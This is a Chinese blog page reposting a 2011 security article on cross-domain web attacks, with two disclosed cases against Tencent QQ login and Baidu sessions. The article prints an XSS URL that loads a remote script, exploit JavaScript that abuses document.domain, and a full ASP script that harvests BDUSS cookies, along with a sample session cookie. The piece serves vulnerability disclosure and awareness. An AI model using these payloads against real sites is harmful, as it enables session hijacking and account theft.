- 浏览: 232224 次
- 性别:
- 来自: 上海
-
最新评论
-
uchaoxi:
谢谢作者分享的经验,非常有用!
点击<a>标签,禁止页面自动跳到顶部的解决办法 -
独爱cyjs:
试下用rs.getObject()
有关ResultSet类中getLong方法自动将null转为0的解决方式 -
muyeandmuye:
呃,这里被抄袭了。http://www.myexception ...
CSS3实现红心动态变化效果 -
univasity:
非常不错,很全面。学习了。
javascript,php文件上传详解 -
lord_is_layuping:
...
有关ResultSet类中getLong方法自动将null转为0的解决方式
转自http://www.80sec.com/cross_domain_attack.html
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-04-07
From: http://www.80sec.com
0×00 前言
一直想说说跨域web攻击这一概念,先前积累了一些案例和经验,所以想写这么一篇文档让大家了解一下跨域web攻击,跨域web攻击指的是利用网站跨域安全设置缺陷进行的web攻击,有别于传统的攻击,跨域web攻击可以从网站某个不重要的业务直接攻击和影响核心业务。
传统的安全思维教会我们按资产、功能等需求划分核心业务,优先保护核心业务等,非核心业务的安全等级一般没有核心业务高,给我们错觉是非核心业务受到攻击的话,所造成损失不会很大,也不会影响到核心业务,所以让安全工作者了解跨域web攻击这一概念还是非常有意义的。
0×01 基于ajax跨域设置的跨域攻击
使用ajax技术让人头痛的地方就是如何跨域,受同源策略所限不同域名包括子域名在内是无法进行AJAX请求的,随后衍生出一类技术可以通过设置document.domain实现跨域。如a.test.com和b.test.com,当两个网站通过javascript操作DOM接口 document.domain=’test.com’ 将网站的域设置为test.com后,两个网站就处于同一个域内,可以进行各种跨域操作。在开发人员方面这是很方便的跨域技术,但是在攻击者眼中这简直就是一个大后门,黑客只需要找到*.test.com下任意一个XSS漏洞,在任意一个子域名里的网页都可以跨域攻击a.test.com和b.test.com。
ajax跨域设置另外一个重点是这种跨域设置还会影响到窗口引用关系的同源策略,如腾讯微博网站进行了document.domain=’qq.com’的跨域设置,我们可以针对腾讯微博做个实验,在自己的腾讯微博http://t.qq.com/中发任意一个*.qq.com的网站的链接(如:http://www.qq.com),在腾讯微博中打开这个网站,然后在地址栏内用javascrit伪协议运行如下的脚本,你会发现腾讯微博所在的网页被注入了一个alert提示框:
javascript:window.opener.eval('alert(/xss/)');
最后得出结论,由于腾讯微博网站进行了跨域设置,所以*.qq.com下的任意一个和腾讯微博有窗口引用关系的网页,都可以往腾讯微博跨域注入脚本运行。
案例:腾讯单点登录系统跨域劫持漏洞
QQ的客户端安装了一个快速登录插件,在客户端已登录且QQ.exe在运行的状态下,这个快速登录插件可以自动生成一个和QQ号对应的密钥,在IE浏览器访问QQ网站的各个应用时通过这个密钥可以免密码一键登录网站。我经过分析发现,这个快速登录插件最大的安全措施是生成密钥的关键函数设置了一个信任域xui.ptlogin2.qq.com,也就是在xui.ptlogin2.qq.com的网页中我们才可以使用这个插件生成密钥。快速登录插件的这个信任域安全措施本意是阻止其他非安全域的网页调用这个插件,而开发人员却在xui.ptlogin2.qq.com的一个网页写入了document.domain=’qq.com’的跨域设置,结果导致这个信任域形同虚设。通过QQ任意分站的一个XSS漏洞我们就能攻击xui.ptlogin2.qq.com,首先给分站的网页进行跨域设置,然后通过框架页嵌入xui.ptlogin2.qq.com的跨域设置页,由于两个网页都设置了同一个域,同源策略生效,那么就可以跨域操作框架注入脚本到xui.ptlogin2.qq.com的域内运行。部分攻击代码如下:
http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>
xss.js的内容:
window.name ='......' // xui.ptlogin2.qq.com域内运行的攻击脚本省略
document.domain='qq.com'; //跨域设置
function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id为crossQQdomain的框架中通过伪协议注入脚本
document.write("<iframe id='crossQQdomain' src='http://xui.ptlogin2.qq.com/*.html' onload=exploit()></iframe>");
通过window.name内设置的是调用快速登录插件攻击脚本代码,被攻击者访问了我们的跨站链接后,我们就可以获取到QQ的一键登录密钥,后果不可想象。
0×02 基于cookie安全的跨域攻击
以前关于csrf的文档提过cookie的“同源策略”,实际上这个只是含糊的说明了cookie的domain字段的作用。cookie的domain字段和浏览器约定俗成,如一般cookie的domain字段被默认设置为www.test.com, 二级域名*.test.com下就无法访问这个cookie,所以很多网站就将cookie的domain字段设置为.test.com解决二级域名的cookie读取问题。
案例:第三方分站沦陷导致的百度cookie安全问题
在百度的passport登录以后,百度会给客户端设置一个名为BDUSS的cookie值,这个值的domain字段是.baidu.com,如下:
set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com
这个cookie是百度众多的二级域名共享的身份认证cookie,在某个巧合下我发现了百度第三方网站http://zhishang.baidu.com的漏洞,控制了zhishang.baidu.com的主机,这个网站的域名刚好属于百度的子域名,那么服务端是可以收到BDUSS这个关键cookie的,由于主机是IIS,于是写了个简单的收集HTTP请求头中cookie值的asp脚本,部分攻击代码如下:
<%
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通过服务器变量获取HTTP请求头中的COOKIE值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect "http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302转跳到真实的图片
%>
将http://zhishang.baidu.com/c.asp#.gif(#是url注释)这样的链接当成图片发布在百度贴吧、百度HI等的帖子或日志中,被攻击者如果访问了嵌入了类似图片链接的网页,浏览器将会向zhishang.baidu.com的脚本发起一个GET请求,这个请求会带上BDUSS值的cookie,服务端的脚本获取这个cookie后,攻击者就可以在另一方利用这个cookie伪造被攻击者的身份使用百度相关的服务。
0×03 跨域web攻击的思考
跨域web攻击还有很多种,本文只提到了危害比较大的两种,案例中所提到的漏洞也已经修复。本文没有再提到这类攻击的防御措施,因为这类web攻击已经有别于传统的单点攻击,实际上国内外各大网站和web程序都存在类似的安全问题,这类安全问题不是一个单独的个例,而是从网站架构开始就需要考虑的安全问题。
本文的目的并不是交大家如何利用跨域web攻击,而是希望大家通过这类安全问题思考更多,让大家意识到现实的网络并没有绝对的安全,我们面临的web安全问题依然严峻,应用和安全是一个对立面,我们需要在应用和安全中间找到一个平衡点。
0×04 参考
腾讯单点登录系统跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118
百度认证机制问题分析与利用 http://www.wooyun.org/bugs/wooyun-2010-0253
点点厨房 http://www.pointpointcook.com
发表评论
-
一个让以各种类型元素为容器的“按钮”都文字居中的方法
2013-06-29 13:05 1348最近在做一个Button控件,这个控件不仅限于使用 ... -
JS类中能模拟出依赖对象本身的可变的私有属性吗?
2012-11-22 16:11 832JS是轻量级语言,在类的概念上没有如Java那样严格意义上私有 ... -
LESS —— 动态样式语言 学习纪要
2012-08-30 18:54 8992学习LESS源于一次分享的要求。之前一直没有使用,是因为使用这 ... -
CSS学习笔记
2012-07-09 22:35 1585使用CSS有些年头了,但是很惭愧从来没有系统的看过一本书,基本 ... -
阶段性总结。。。
2012-05-16 17:29 917自己的空间,不说废话 ... -
页面中包含大比率压缩图片会损耗内存
2011-12-25 23:58 1129最近做了一个类似美丽说的图片分享网站,测试时发现打开某个网页时 ... -
上传图片一直不变的问题 | IE的file无法手动置空
2011-11-19 04:15 1752今天在开发一个图片上传控件的时候,发现在IE8下上传一张 ... -
做一个资源加载进度条
2011-11-14 15:51 5101最近在开发一个工具类的网站,网站的背景和各模块的构建都需要加载 ... -
【Frontend Knowlodge Chart】 学习之安全相关
2011-10-20 19:54 1275安全相关 考查前端及 ... -
【Frontend Knowlodge Chart】 学习之HTTP协议
2011-10-20 19:53 1304HTTP协议 考查HTTP协议的认知程度和基本知识 ... -
【转】Frontend Knowlodge Chart
2011-10-17 16:21 1157转一个牛人总结的前端知识框架图 http://www ... -
我最近新学会的XXX
2011-09-01 18:28 1151最近忙上,忙下,忙里,忙外,活儿做了不少。这里有重复劳动 ... -
【转】Firefox下iframe的onload事件有可能无法触发 作者:zhanglili
2011-05-31 14:29 5669Firefox下,已经load的document,重新open ... -
避免function的循环引用
2011-05-26 16:44 905循环引用 window.onload = functi ... -
如何获取一个dom元素的绝对位置
2011-05-18 12:05 6053应用场景:鼠标滑过某元素时,需要弹出一个信息标签,标签的 ... -
关于CSS Selector的优先级
2011-05-16 15:27 1611用CSS这么些年,从来没从算法级别考虑过它的优先级原理,只是凭 ... -
javascript,php文件上传详解
2011-04-29 19:20 4005今儿说点儿基础但是蛮重要的前端技术——使用file ... -
IE6下left绝对定位诡异错误
2011-04-29 01:44 1805今天开发自己的一个小网站时出现一个诡异的错误:目标 ... -
推荐个学WEBGL的网站
2011-04-12 17:59 857http://learningwebgl.com/blog/? ... -
我大意了大意了~ 360浏览器的js标准还挺高的!!
2011-04-06 14:06 1658今天用360浏览器测一个网页,其中一个js文件莫名 ...
相关推荐
Ajax跨域请求和跨域Session是前端开发中经常遇到的问题,它们对于保证Web应用的安全性和用户体验都至关重要。在处理跨域问题时,开发人员需要注意很多细节和规则,以确保数据的正确传输和用户状态的正确识别。 首先...
在Web开发中,出于安全的考虑,浏览器实施了同源策略。该策略限制了不同源的文档或脚本间的交互。源可以由协议、域名和端口定义,当它们中的任何一个不一致时,即认为是不同的源。 要解决跨域通信问题,主要的几种...
攻击者可以通过JavaScript代码构造跨域请求,这些请求在TTL到期后会指向新的IP地址,从而绕过同源策略,达到对受害者内部网络的攻击。 同源策略通常能有效防止不同源的脚本相互操作,但它并不阻止页面的重定向、...
然而,随着客户端代码的增加,安全问题也随之而来,例如XSS(跨站脚本攻击)和CSRF(跨站请求伪造)等。因此,在利用Ajax提升用户体验的同时,开发者也需要关注安全防护,确保应用的稳定性和安全性。
### JavaScript基础篇——浅谈cookie #### 一、引言 在Web开发中,如何保持用户的登录状态或记住用户的一些个性化设置是一个常见的需求。对于这种轻量级的数据存储需求,`cookie`是一种非常实用的技术。它能够帮助...
在Web开发中,前后端交互是必不可少的一部分,而 Axios 和 Session 是其中的两个关键概念。Axios 是一个基于 Promise 的 HTTP 库,常用于前端发送 AJAX 请求,而 Session 是一种服务器端存储用户会话状态的技术,...
JSON和JSONP是Web开发中两个...总的来说,JSON是数据格式,而JSONP是一种跨域数据获取的机制,它们共同服务于Web应用的数据交换需求。在实际开发中,理解这两者的区别和使用场景,有助于构建更高效、安全的前端应用。
在设计和开发Web应用时,有时需要在主页面中嵌入一些额外的信息,例如广告、第三方服务、地图等,此时Iframe就是一个常用的技术手段。Iframe内部的导航窗口则指在Iframe内嵌的页面中进行的导航,比如一个电子商务...
- 对象创建:浅谈字面量和构造函数两种方式创建对象。 - 原型链:讲解原型、__proto__ 和 prototype 属性,以及原型继承机制。 4. **异步编程** - 回调函数:基础的异步处理方式,理解回调地狱及其解决方案。 ...